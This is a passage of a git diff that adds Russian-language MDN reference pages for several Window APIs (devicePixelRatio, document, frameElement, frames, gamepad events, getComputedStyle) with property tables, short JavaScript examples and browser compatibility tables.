+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>alpha</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.</td>
+  </tr>
+  <tr>
+   <td><code>beta</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.</td>
+  </tr>
+  <tr>
+   <td><code>gamma</code> {{readonlyInline}}</td>
+   <td>double (float)</td>
+   <td>The current orientation of the device around the Y axis; that is, how far the device is turned left or right.</td>
+  </tr>
+  <tr>
+   <td><code>absolute</code> {{readonlyInline}}</td>
+   <td>{{jsxref("boolean")}}</td>
+   <td>This value is <code>true</code> if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is <code>false</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="pass: js">if (window.DeviceOrientationEvent) {
+    window.addEventListener("deviceorientation", function(event) {
+        // alpha: rotation around z-axis
+        var rotateDegrees = event.alpha;
+        // gamma: left to right
+        var leftToRight = event.gamma;
+        // beta: front back motion
+        var frontToBack = event.beta;
+
+        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
+    }, true);
+}
+
+var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
+    // Сделайте что-нибудь необычное здесь
+};
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>7.0</td>
+   <td>3.6<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>3.0</td>
+   <td>3.6<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 3.6, 4, и 5 поддерживают <a href="/en-US/docs/Web/Events/MozOrientation">mozOrientation</a> вместо стандартного события <code>DeviceOrientation</code>.</p>
+
+<h2 id="Похожие_события">Похожие события</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/devicemotion"><code>devicemotion</code></a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("window.ondeviceorientation")}}</li>
+ <li><a href="/en-US/docs/Web/API/Detecting_device_orientation">Определение ориентации устройства</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Orientation_and_motion_data_explained">Ориентация и объяснение данных о движении</a></li>
+ <li>Имитация события смены ориентации в настольныъ браузерах с помощью <a href="http://louisremi.github.com/orientation-devtool/">orientation-devtool</a></li>
+</ul>
diff --git a/files/ru/web/api/window/devicepixelratio/index.html b/files/ru/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..e5df4bef29
--- /dev/null
+++ b/files/ru/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+translation_of: Web/API/Window/devicePixelRatio
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p><strong>devicePixelRatio</strong> - свойство глобального объекта <a href="/en-US/docs/Web/API/Window/window">window</a> (доступно только для чтения). Оно содержит отношение разрешения дисплея текущего устройства <em>в физических пикселях </em>к <em>разрешению </em>в<em> логических (CSS) пикселях</em>. Также это значение можно интерпретировать как отношение размера одного <em>физического пикселя</em> к размеру одного <em>логического </em>(<em>CSS) пикселя</em>.</p>
+
+<p>Не существует событий или поддержки обратных вызовов при изменении этого свойства (например, когда пользователь перетащил окно с одного дисплея на другой, имеющих различную плотность пикселей).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>value</var></em> = window.devicePixelRatio;
+</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Свойство не поддерживается в IE ниже 11, однако в IE10 можно получить значение в виде отношения:</p>
+
+<pre>window.<strong>screen</strong>.<strong>deviceXDPI</strong> / window.<strong>screen</strong>.<strong>logicalXDPI</strong></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Window.devicePixelRatio")}}</p>
diff --git a/files/ru/web/api/window/document/index.html b/files/ru/web/api/window/document/index.html
new file mode 100644
index 0000000000..088c178f20
--- /dev/null
+++ b/files/ru/web/api/window/document/index.html
@@ -0,0 +1,63 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><span class="seoSummary"><code>window.document</code> возвращает ссылку на документ, содержащийся в окне.</span></p>
+
+<div class="note"><strong>Note:</strong> {{Fx_minversion_inline(3)}} Firefox 3 вносит изменения в правила безопасности для windows' документов, чтобы только домен, на котором они расположены, имел доступ к документам. И хотя это может сломать некоторые существующие сайты, Firefox 3 и Internet Explorer 7 сделали этот шаг, что приводит к улучшению безопасности.</div>
+
+<h2 id="Синтaксис">Синтaксис</h2>
+
+<pre class="syntaxbox"><var>doc</var> = window.document
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>doc</code> является ссылкой на объект <a href="/en-US/docs/DOM/document" title="DOM/document">document</a>.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+   &lt;title&gt;Hello, World!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script type="text/javascript"&gt;
+   var doc = window.document;
+   console.log(doc.title); // Hello, World!
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html
new file mode 100644
index 0000000000..bd901523fb
--- /dev/null
+++ b/files/ru/web/api/window/frameelement/index.html
@@ -0,0 +1,95 @@
+---
+title: Window.frameElement
+slug: Web/API/Window/frameElement
+translation_of: Web/API/Window/frameElement
+---
+<div>{{ ApiRef() }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Возвращает элемент (например <code>&lt;iframe&gt;</code> или <code>&lt;object&gt;), в который встроено окно, или </code> <code>null, если это окно верхнего уровня.</code></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>frameEl</var> = window.frameElement;
+</pre>
+
+<ul>
+ <li><code>frameEl</code> это элемент, в который встроено окно, или  <code>null, если это окно верхнего уровня</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var frameEl = window.frameElement;
+// Если мы внутри фрейма, то изменить его URL на 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <code>&lt;object&gt;</code> и других встраиваемых элементов.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a href="http://www.whatwg.org/specs/web-apps/current-work/#dom-frameelement">WHATWG</a></p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4?</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>5.5?</td>
+   <td>12.1?</td>
+   <td>4?</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.frames")}} возвращает массивоподобный объект, включающий список прямых суб-фреймов данного окна.</li>
+ <li>{{domxref("window.parent")}} возвращает родительское окно, которое является окном, содержащим frameElement дочернего окна. </li>
+</ul>
diff --git a/files/ru/web/api/window/frames/index.html b/files/ru/web/api/window/frames/index.html
new file mode 100644
index 0000000000..271af17e78
--- /dev/null
+++ b/files/ru/web/api/window/frames/index.html
@@ -0,0 +1,57 @@
+---
+title: Window.frames
+slug: Web/API/Window/frames
+translation_of: Web/API/Window/frames
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Возвращает само окно, являющееся объектом в виде массива, распечатывая элементы текущего окна.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval"><em>frameList</em> = window.frames;
+</pre>
+
+<ul>
+ <li><code>frameList</code> is a list of frame objects. It is similar to an array in that it has a <code>length</code> property and its items can be accessed using the <code>[i]</code> notation.</li>
+ <li><code>frameList === window</code> evaluates to true.</li>
+ <li>Each item in the window.frames pseudo-array represents the <a class="internal" href="/en/DOM/window" title="en/DOM/window">window</a> object corresponding to the given <a class="internal" href="/en/HTML/Element/frame" title="en/HTML/Element/frame">&lt;frame&gt;</a>'s or <a class="internal" href="/en/HTML/Element/iframe" title="en/HTML/Element/iframe">&lt;iframe&gt;</a>'s content, not the (i)frame DOM element (i.e., <code>window.frames[0]</code> is the same thing as <code>document.getElementsByTagName("iframe")[0].contentWindow</code>).</li>
+ <li>For more details about the returned value, refer to this <a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1" title="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&amp;ie=UTF-8&amp;oe=utf-8&amp;q=window.frames&amp;pli=1">thread on mozilla.dev.platform</a> [dead link].</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var frames = window.frames; // or // var frames = window.parent.frames;
+for (var i = 0; i &lt; frames.length; i++) {
+  // do something with each subframe as frames[i]
+  frames[i].document.body.style.background = "red";
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#dom-frames", "Window.frames")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-frames", "Window.frames")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.frames")}}</p>
diff --git a/files/ru/web/api/window/gamepadconnected_event/index.html b/files/ru/web/api/window/gamepadconnected_event/index.html
new file mode 100644
index 0000000000..b6911211a9
--- /dev/null
+++ b/files/ru/web/api/window/gamepadconnected_event/index.html
@@ -0,0 +1,85 @@
+---
+title: gamepadconnected
+slug: Web/API/Window/gamepadconnected_event
+translation_of: Web/API/Window/gamepadconnected_event
+---
+<p>Событие <code>gamepadconnected</code> вызывается, когда браузер обнаруживает подключение геймпада или первое использование кнопки/стика.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Отсутствует</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события (самый верхний элемент DOM дерева).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие всплывающим.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие отменяемым.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js;">// Обратите внимание, что API всё ещё использует вендорные префиксы в браузерах, которые его реализуют
+window.addEventListener("gamepadconnected", function( event ) {
+
+    // Все значения кнопок и стиков доступны через:
+    event.gamepad;
+
+});
+</pre>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("gamepaddisconnected")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API">Using Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/window/gamepaddisconnected_event/index.html b/files/ru/web/api/window/gamepaddisconnected_event/index.html
new file mode 100644
index 0000000000..f0aac41e38
--- /dev/null
+++ b/files/ru/web/api/window/gamepaddisconnected_event/index.html
@@ -0,0 +1,74 @@
+---
+title: gamepaddisconnected
+slug: Web/API/Window/gamepaddisconnected_event
+translation_of: Web/API/Window/gamepaddisconnected_event
+---
+<p>Событие <code>gampaddisconnected</code> вызывается, когда браузер обнаруживает, что геймпад был отключен.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Отсутствует</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события (самый верхний элемент DOM дерева).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие всплывающим.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие отменяемым.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("gamepadconnected")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API">Using Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..fb8239d55e
--- /dev/null
+++ b/files/ru/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,198 @@
+---
+title: window.getComputedStyle()
+slug: Web/API/Window/getComputedStyle
+translation_of: Web/API/Window/getComputedStyle
+---
+<p class="summary"><span class="seoSummary">Метод <strong><code>Window.getComputedStyle()</code></strong> возвращает объект, содержащий значения всех CSS-свойств элемента, полученных после применения всех активных таблиц стилей, и завершения базовых вычислений значений, которые они могут содержать.</span> Некоторые CSS-свойства доступны через API, предоставляемые объектом, или индексацию по именам CSS-свойств.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>style</em> = window.getComputedStyle(<em>element</em> [, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
+ <dt><code>element</code></dt>
+ <dd>{{domxref("Element")}}, свойства которого необходимо получить.</dd>
+ <dt><code>pseudoElt</code> {{optional_inline}}</dt>
+ <dd>Строка указывающая на найденный псевдо-элемент. Опускается (или <code>null</code>) для не псевдо-элементов.</dd>
+</dl>
+
+<p>Возвращенный <code>style</code> живой {{domxref("CSSStyleDeclaration")}} обьект, который обновляется автоматически когда элемент стилей изменяется.</p>
+
+<h2 id="Выводы">Выводы</h2>
+
+<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var elem1 = document.getElementById("elemId");
+var style = window.getComputedStyle(elem1, null);
+
+// this is equivalent:
+// var style = document.defaultView.getComputedStyle(elem1, null);
+</pre>
+
+<pre class="brush: js">&lt;style&gt;
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+&lt;/style&gt;
+
+&lt;div id="elem-container"&gt;dummy&lt;/div&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  function getTheStyle(){
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">function dumpComputedStyles(elem,prop) {
+
+  var cs = window.getComputedStyle(elem,null);
+  if (prop) {
+    console.log(prop+" : "+cs.getPropertyValue(prop));
+    return;
+  }
+  var len = cs.length;
+  for (var i=0;i&lt;len;i++) {
+
+    var style = cs[i];
+    console.log(style+" : "+cs.getPropertyValue(style));
+  }
+
+}
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращенный обьект - это такой же обьект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два обьекта имеют разные назначения. Обьект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code>&lt;style&gt;</code> элемента или внешней таблицы стилей). Обьект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p>
+
+<p>Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например <code>#text</code> выдаст ошибку).</p>
+
+<h2 id="defaultView"><code>defaultView</code></h2>
+
+<p>Во многих примерах кода, <code>getComputedStyle</code> используется из обьекта <code>document.defaultView</code>. Почти во всех случаях это не нужно, поскольку <code>getComputedStyle</code> существует в обьетке <code>window</code>. Это что-то на подобии шаблона defaultView который был нейкой прослойкой. Люди не хотели писать спецификацию для <code>window</code> и создавали <code>API</code>  которое также могло использоваться для Java. Так или иначе <a class="link-https" href="https://github.com/jquery/jquery/pull/524#issuecomment-2241183" title="https://github.com/jquery/jquery/pull/524#issuecomment-2241183">есть только один случай</a> когда метод <code>defaultView</code> должен использоваться: когда вы используете Firefox 3.6 чтобы получить доступ к вычесленным стилям.</p>
+
+<h2 id="Использования_с_псевдо-элементами">Использования с псевдо-элементами</h2>
+
+<p><code>getComputedStyle</code> может получить информацию о стилях из псевдо-элемента (например - <code>::after</code>, <code>::before</code>, <code>::marker</code>, <code>::line-marker</code> - <a class="external" href="https://www.w3.org/TR/css-pseudo-4/">спецификация</a>).</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3::after {
+   content: 'rocks!';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;generated content&lt;/h3&gt;
+
+&lt;script&gt;
+  var h3 = document.querySelector('h3');
+  var result = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // возвратит 'rocks!'
+&lt;/script&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The values returned by <code>getComputedStyle</code> are known as {{cssxref("resolved_value", "resolved values")}}. These are usually the same as the CSS 2.1 {{cssxref("computed_value","computed values")}}, but for some older properties like <code>width</code>, <code>height</code> or <code>padding</code>, they are instead the {{cssxref("used_value","used values")}}. Originally, CSS 2.0 defined the computed values to be the "ready to be used" final values of properties after cascading and inheritance, but CSS 2.1 redefined computed values as pre-layout, and used values as post-layout. For CSS 2.0 properties, the <code>getComputedStyle</code> function returns the old meaning of computed values, now called <strong>used values</strong>. An example of difference between pre- and post-layout values includes the resolution of percentages that represent the width or the height of an element (also known as its layout), as those will be replaced by their pixel equivalent only in the used value case.</p>
+
+<p>The returned value is, in certain known cases, expressly inaccurate by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site. See <a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a> and <a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a> for details of the examples of how this is implemented. Most other modern browsers have applied similar changes to the application of pseudo-selector styles and the values returned by <code>getComputedStyle</code>.</p>
+
+<p>During a CSS transition, <code>getComputedStyle</code> returns the original property value in Firefox, but the final property value in WebKit.</p>
+
+<p>In Firefox, properties with the value <code>auto</code> return the used value, not the value <code>auto</code>. So if you apply <code>top:auto;</code> and <code>bottom:0</code>; on an element with <code>height:30px</code> and its containing block is <code>height:100px;</code>, upon requesting the computed style for <code>top</code>, Firefox will return <code>top:70px</code>, as <code>100px-30px=70px</code>.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>WP7 Mango</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle">DOM Level 2 Style: getComputedStyle</a></li>
+ <li><a href="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle" title="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle">CSS Object Model specification</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотреть также</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c3a4b16ab1
--- /dev/null
+++ b/files/ru/web/api/window/getselection/index.html
@@ -0,0 +1,142 @@
+---
+title: Window.getSelection()
+slug: Web/API/Window/getSelection
+translation_of: Web/API/Window/getSelection
+---
